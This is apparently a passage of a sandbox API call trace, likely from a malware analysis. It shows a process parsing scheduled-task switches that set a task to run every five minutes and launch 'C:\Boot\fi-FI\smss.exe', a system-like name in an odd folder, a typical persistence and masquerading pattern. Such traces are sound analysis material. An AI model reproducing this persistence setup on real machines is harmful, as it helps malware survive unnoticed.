[0075.455] lstrlenW (lpString="|run|") returned 5 [0075.455] lstrlenW (lpString="|sc|") returned 4 [0075.455] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0075.455] SetLastError (dwErrCode=0x490) [0075.455] lstrlenW (lpString="end") returned 3 [0075.455] lstrlenW (lpString="end") returned 3 [0075.455] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.455] lstrlenW (lpString="sc") returned 2 [0075.455] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.455] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|end|") returned 5 [0075.455] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|sc|") returned 4 [0075.455] lstrlenW (lpString="|end|") returned 5 [0075.455] lstrlenW (lpString="|sc|") returned 4 [0075.455] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0075.455] SetLastError (dwErrCode=0x490) [0075.455] lstrlenW (lpString="showsid") returned 7 [0075.455] lstrlenW (lpString="showsid") returned 7 [0075.455] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.455] lstrlenW (lpString="sc") returned 2 [0075.455] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.455] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|showsid|") returned 9 [0075.456] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|sc|") returned 4 [0075.456] lstrlenW (lpString="|showsid|") returned 9 [0075.456] lstrlenW (lpString="|sc|") returned 4 [0075.456] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0075.456] SetLastError (dwErrCode=0x490) [0075.456] SetLastError (dwErrCode=0x490) [0075.456] SetLastError (dwErrCode=0x0) [0075.456] lstrlenW (lpString="/sc") returned 3 [0075.456] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0075.456] SetLastError (dwErrCode=0x490) [0075.456] SetLastError (dwErrCode=0x0) [0075.456] lstrlenW (lpString="/sc") returned 3 [0075.456] GetProcessHeap () returned 0x380000 [0075.456] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x8) returned 0x39c390 [0075.456] GetProcessHeap () returned 0x380000 [0075.456] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cd70 [0075.456] SetLastError (dwErrCode=0x0) [0075.456] SetLastError (dwErrCode=0x0) [0075.456] lstrlenW (lpString="MINUTE") returned 6 [0075.456] lstrlenW (lpString="-/") returned 2 [0075.456] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0075.456] SetLastError (dwErrCode=0x490) [0075.456] SetLastError (dwErrCode=0x490) [0075.456] SetLastError (dwErrCode=0x0) [0075.456] lstrlenW (lpString="MINUTE") returned 6 [0075.456] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0075.456] SetLastError (dwErrCode=0x490) [0075.456] SetLastError (dwErrCode=0x0) [0075.457] lstrlenW (lpString="MINUTE") returned 6 [0075.457] GetProcessHeap () returned 0x380000 [0075.457] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0xe) returned 0x39c3b0 [0075.457] GetProcessHeap () returned 0x380000 [0075.457] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cda0 [0075.457] SetLastError (dwErrCode=0x0) [0075.457] SetLastError (dwErrCode=0x0) [0075.457] lstrlenW (lpString="/mo") returned 3 [0075.457] lstrlenW (lpString="-/") returned 2 [0075.457] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0075.457] lstrlenW (lpString="?") returned 1 [0075.457] lstrlenW (lpString="?") returned 1 [0075.457] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.457] lstrlenW (lpString="mo") returned 2 [0075.457] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.457] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|?|") returned 3 [0075.457] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|mo|") returned 4 [0075.457] lstrlenW (lpString="|?|") returned 3 [0075.457] lstrlenW (lpString="|mo|") returned 4 [0075.457] SetLastError (dwErrCode=0x490) [0075.457] lstrlenW (lpString="create") returned 6 [0075.457] lstrlenW (lpString="create") returned 6 [0075.457] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.457] lstrlenW (lpString="mo") returned 2 [0075.457] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.458] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|create|") returned 8 [0075.458] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|mo|") returned 4 [0075.458] lstrlenW (lpString="|create|") returned 8 [0075.458] lstrlenW (lpString="|mo|") returned 4 [0075.458] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0075.458] SetLastError (dwErrCode=0x490) [0075.458] lstrlenW (lpString="delete") returned 6 [0075.458] lstrlenW (lpString="delete") returned 6 [0075.458] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.458] lstrlenW (lpString="mo") returned 2 [0075.458] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.458] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|delete|") returned 8 [0075.458] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|mo|") returned 4 [0075.458] lstrlenW (lpString="|delete|") returned 8 [0075.458] lstrlenW (lpString="|mo|") returned 4 [0075.458] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0075.458] SetLastError (dwErrCode=0x490) [0075.458] lstrlenW (lpString="query") returned 5 [0075.458] lstrlenW (lpString="query") returned 5 [0075.458] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.458] lstrlenW (lpString="mo") returned 2 [0075.458] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.458] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|query|") returned 7 [0075.459] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|mo|") returned 4 [0075.459] lstrlenW (lpString="|query|") returned 7 [0075.459] lstrlenW (lpString="|mo|") returned 4 [0075.459] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0075.459] SetLastError (dwErrCode=0x490) [0075.459] lstrlenW (lpString="change") returned 6 [0075.459] lstrlenW (lpString="change") returned 6 [0075.459] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.459] lstrlenW (lpString="mo") returned 2 [0075.459] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.459] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|change|") returned 8 [0075.459] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|mo|") returned 4 [0075.459] lstrlenW (lpString="|change|") returned 8 [0075.459] lstrlenW (lpString="|mo|") returned 4 [0075.459] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0075.459] SetLastError (dwErrCode=0x490) [0075.459] lstrlenW (lpString="run") returned 3 [0075.459] lstrlenW (lpString="run") returned 3 [0075.459] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.459] lstrlenW (lpString="mo") returned 2 [0075.459] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.459] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|run|") returned 5 [0075.459] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|mo|") returned 4 [0075.460] lstrlenW (lpString="|run|") returned 5 [0075.460] lstrlenW (lpString="|mo|") returned 4 [0075.460] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0075.460] SetLastError (dwErrCode=0x490) [0075.460] lstrlenW (lpString="end") returned 3 [0075.460] lstrlenW (lpString="end") returned 3 [0075.460] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.460] lstrlenW (lpString="mo") returned 2 [0075.460] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.460] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|end|") returned 5 [0075.460] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|mo|") returned 4 [0075.460] lstrlenW (lpString="|end|") returned 5 [0075.460] lstrlenW (lpString="|mo|") returned 4 [0075.460] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0075.460] SetLastError (dwErrCode=0x490) [0075.460] lstrlenW (lpString="showsid") returned 7 [0075.460] lstrlenW (lpString="showsid") returned 7 [0075.460] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.460] lstrlenW (lpString="mo") returned 2 [0075.460] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.460] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|showsid|") returned 9 [0075.460] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|mo|") returned 4 [0075.460] lstrlenW (lpString="|showsid|") returned 9 [0075.460] lstrlenW (lpString="|mo|") returned 4 [0075.460] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0075.460] SetLastError (dwErrCode=0x490) [0075.461] SetLastError (dwErrCode=0x490) [0075.461] SetLastError (dwErrCode=0x0) [0075.461] lstrlenW (lpString="/mo") returned 3 [0075.461] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0075.461] SetLastError (dwErrCode=0x490) [0075.461] SetLastError (dwErrCode=0x0) [0075.461] lstrlenW (lpString="/mo") returned 3 [0075.461] GetProcessHeap () returned 0x380000 [0075.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x8) returned 0x39c3d0 [0075.461] GetProcessHeap () returned 0x380000 [0075.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cdd0 [0075.461] SetLastError (dwErrCode=0x0) [0075.461] SetLastError (dwErrCode=0x0) [0075.461] lstrlenW (lpString="5") returned 1 [0075.461] SetLastError (dwErrCode=0x490) [0075.461] SetLastError (dwErrCode=0x0) [0075.461] lstrlenW (lpString="5") returned 1 [0075.461] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0075.461] SetLastError (dwErrCode=0x490) [0075.461] SetLastError (dwErrCode=0x0) [0075.461] lstrlenW (lpString="5") returned 1 [0075.461] GetProcessHeap () returned 0x380000 [0075.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x4) returned 0x39c3f0 [0075.461] GetProcessHeap () returned 0x380000 [0075.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39ce00 [0075.461] SetLastError (dwErrCode=0x0) [0075.461] SetLastError (dwErrCode=0x0) [0075.461] lstrlenW (lpString="/tr") returned 3 [0075.461] lstrlenW (lpString="-/") returned 2 [0075.462] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0075.462] lstrlenW (lpString="?") returned 1 [0075.462] lstrlenW (lpString="?") returned 1 [0075.462] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.462] lstrlenW (lpString="tr") returned 2 [0075.462] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.462] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|?|") returned 3 [0075.462] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tr|") returned 4 [0075.462] lstrlenW (lpString="|?|") returned 3 [0075.462] lstrlenW (lpString="|tr|") returned 4 [0075.462] SetLastError (dwErrCode=0x490) [0075.462] lstrlenW (lpString="create") returned 6 [0075.462] lstrlenW (lpString="create") returned 6 [0075.462] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.462] lstrlenW (lpString="tr") returned 2 [0075.462] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.462] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|create|") returned 8 [0075.462] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tr|") returned 4 [0075.462] lstrlenW (lpString="|create|") returned 8 [0075.462] lstrlenW (lpString="|tr|") returned 4 [0075.462] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0075.462] SetLastError (dwErrCode=0x490) [0075.462] lstrlenW (lpString="delete") returned 6 [0075.462] lstrlenW (lpString="delete") returned 6 [0075.463] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.463] lstrlenW (lpString="tr") returned 2 [0075.463] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.463] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|delete|") returned 8 [0075.463] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tr|") returned 4 [0075.463] lstrlenW (lpString="|delete|") returned 8 [0075.463] lstrlenW (lpString="|tr|") returned 4 [0075.463] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0075.463] SetLastError (dwErrCode=0x490) [0075.463] lstrlenW (lpString="query") returned 5 [0075.463] lstrlenW (lpString="query") returned 5 [0075.463] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.463] lstrlenW (lpString="tr") returned 2 [0075.463] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.463] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|query|") returned 7 [0075.463] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tr|") returned 4 [0075.463] lstrlenW (lpString="|query|") returned 7 [0075.463] lstrlenW (lpString="|tr|") returned 4 [0075.463] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0075.463] SetLastError (dwErrCode=0x490) [0075.463] lstrlenW (lpString="change") returned 6 [0075.463] lstrlenW (lpString="change") returned 6 [0075.463] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.464] lstrlenW (lpString="tr") returned 2 [0075.464] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.464] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|change|") returned 8 [0075.464] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tr|") returned 4 [0075.464] lstrlenW (lpString="|change|") returned 8 [0075.464] lstrlenW (lpString="|tr|") returned 4 [0075.464] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0075.464] SetLastError (dwErrCode=0x490) [0075.464] lstrlenW (lpString="run") returned 3 [0075.464] lstrlenW (lpString="run") returned 3 [0075.464] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.464] lstrlenW (lpString="tr") returned 2 [0075.464] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.464] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|run|") returned 5 [0075.464] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tr|") returned 4 [0075.464] lstrlenW (lpString="|run|") returned 5 [0075.464] lstrlenW (lpString="|tr|") returned 4 [0075.464] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0075.464] SetLastError (dwErrCode=0x490) [0075.464] lstrlenW (lpString="end") returned 3 [0075.464] lstrlenW (lpString="end") returned 3 [0075.464] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.464] lstrlenW (lpString="tr") returned 2 [0075.464] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.465] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|end|") returned 5 [0075.465] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tr|") returned 4 [0075.465] lstrlenW (lpString="|end|") returned 5 [0075.465] lstrlenW (lpString="|tr|") returned 4 [0075.465] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0075.465] SetLastError (dwErrCode=0x490) [0075.465] lstrlenW (lpString="showsid") returned 7 [0075.465] lstrlenW (lpString="showsid") returned 7 [0075.465] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.465] lstrlenW (lpString="tr") returned 2 [0075.487] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.487] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|showsid|") returned 9 [0075.487] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tr|") returned 4 [0075.487] lstrlenW (lpString="|showsid|") returned 9 [0075.487] lstrlenW (lpString="|tr|") returned 4 [0075.487] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0075.487] SetLastError (dwErrCode=0x490) [0075.487] SetLastError (dwErrCode=0x490) [0075.487] SetLastError (dwErrCode=0x0) [0075.487] lstrlenW (lpString="/tr") returned 3 [0075.487] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0075.487] SetLastError (dwErrCode=0x490) [0075.487] SetLastError (dwErrCode=0x0) [0075.487] lstrlenW (lpString="/tr") returned 3 [0075.487] GetProcessHeap () returned 0x380000 [0075.487] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x8) returned 0x39c410 [0075.487] GetProcessHeap () returned 0x380000 [0075.487] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39ce30 [0075.487] SetLastError (dwErrCode=0x0) [0075.487] SetLastError (dwErrCode=0x0) [0075.487] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.487] lstrlenW (lpString="-/") returned 2 [0075.487] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0075.488] SetLastError (dwErrCode=0x490) [0075.488] SetLastError (dwErrCode=0x490) [0075.488] SetLastError (dwErrCode=0x0) [0075.488] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.488] StrChrIW (lpStart="'C:\\Boot\\fi-FI\\smss.exe'", wMatch=0x3a) returned=":\\Boot\\fi-FI\\smss.exe'" [0075.488] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.488] GetProcessHeap () returned 0x380000 [0075.488] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x18) returned 0x39c430 [0075.488] _memicmp (_Buf1=0x39c430, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.488] GetProcessHeap () returned 0x380000 [0075.488] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0xe) returned 0x39c450 [0075.488] GetProcessHeap () returned 0x380000 [0075.488] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x18) returned 0x39d600 [0075.488] _memicmp (_Buf1=0x39d600, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.488] GetProcessHeap () returned 0x380000 [0075.488] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x34) returned 0x397bc0 [0075.488] SetLastError (dwErrCode=0x7a) [0075.488] SetLastError (dwErrCode=0x0) [0075.488] SetLastError (dwErrCode=0x0) [0075.488] lstrlenW (lpString="'C") returned 2 [0075.488] lstrlenW (lpString="-/") returned 2 [0075.488] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0075.488] SetLastError (dwErrCode=0x490) [0075.488] SetLastError (dwErrCode=0x490) [0075.488] SetLastError (dwErrCode=0x0) [0075.488] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.488] GetProcessHeap () returned 0x380000 [0075.488] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x32) returned 0x397c00 [0075.489] GetProcessHeap () returned 0x380000 [0075.489] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39ce60 [0075.489] SetLastError (dwErrCode=0x0) [0075.489] SetLastError (dwErrCode=0x0) [0075.489] lstrlenW (lpString="/rl") returned 3 [0075.489] lstrlenW (lpString="-/") returned 2 [0075.489] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0075.489] lstrlenW (lpString="?") returned 1 [0075.489] lstrlenW (lpString="?") returned 1 [0075.489] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.489] lstrlenW (lpString="rl") returned 2 [0075.489] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.489] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|?|") returned 3 [0075.489] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|rl|") returned 4 [0075.489] lstrlenW (lpString="|?|") returned 3 [0075.489] lstrlenW (lpString="|rl|") returned 4 [0075.489] SetLastError (dwErrCode=0x490) [0075.489] lstrlenW (lpString="create") returned 6 [0075.489] lstrlenW (lpString="create") returned 6 [0075.489] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.489] lstrlenW (lpString="rl") returned 2 [0075.489] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.489] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|create|") returned 8 [0075.489] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|rl|") returned 4 [0075.489] lstrlenW (lpString="|create|") returned 8 [0075.490] lstrlenW (lpString="|rl|") returned 4 [0075.490] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0075.490] SetLastError (dwErrCode=0x490) [0075.490] lstrlenW (lpString="delete") returned 6 [0075.490] lstrlenW (lpString="delete") returned 6 [0075.490] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.490] lstrlenW (lpString="rl") returned 2 [0075.490] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.490] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|delete|") returned 8 [0075.490] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|rl|") returned 4 [0075.490] lstrlenW (lpString="|delete|") returned 8 [0075.490] lstrlenW (lpString="|rl|") returned 4 [0075.490] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0075.490] SetLastError (dwErrCode=0x490) [0075.490] lstrlenW (lpString="query") returned 5 [0075.490] lstrlenW (lpString="query") returned 5 [0075.490] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.490] lstrlenW (lpString="rl") returned 2 [0075.490] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.490] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|query|") returned 7 [0075.490] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|rl|") returned 4 [0075.490] lstrlenW (lpString="|query|") returned 7 [0075.490] lstrlenW (lpString="|rl|") returned 4 [0075.490] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0075.491] SetLastError (dwErrCode=0x490) [0075.491] lstrlenW (lpString="change") returned 6 [0075.491] lstrlenW (lpString="change") returned 6 [0075.491] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.491] lstrlenW (lpString="rl") returned 2 [0075.491] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.491] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|change|") returned 8 [0075.491] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|rl|") returned 4 [0075.491] lstrlenW (lpString="|change|") returned 8 [0075.491] lstrlenW (lpString="|rl|") returned 4 [0075.491] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0075.491] SetLastError (dwErrCode=0x490) [0075.491] lstrlenW (lpString="run") returned 3 [0075.491] lstrlenW (lpString="run") returned 3 [0075.491] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.491] lstrlenW (lpString="rl") returned 2 [0075.491] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.491] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|run|") returned 5 [0075.491] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|rl|") returned 4 [0075.491] lstrlenW (lpString="|run|") returned 5 [0075.491] lstrlenW (lpString="|rl|") returned 4 [0075.491] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0075.491] SetLastError (dwErrCode=0x490) [0075.491] lstrlenW (lpString="end") returned 3 [0075.491] lstrlenW (lpString="end") returned 3 [0075.492] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.492] lstrlenW (lpString="rl") returned 2 [0075.492] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.492] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|end|") returned 5 [0075.492] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|rl|") returned 4 [0075.492] lstrlenW (lpString="|end|") returned 5 [0075.492] lstrlenW (lpString="|rl|") returned 4 [0075.492] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0075.492] SetLastError (dwErrCode=0x490) [0075.492] lstrlenW (lpString="showsid") returned 7 [0075.492] lstrlenW 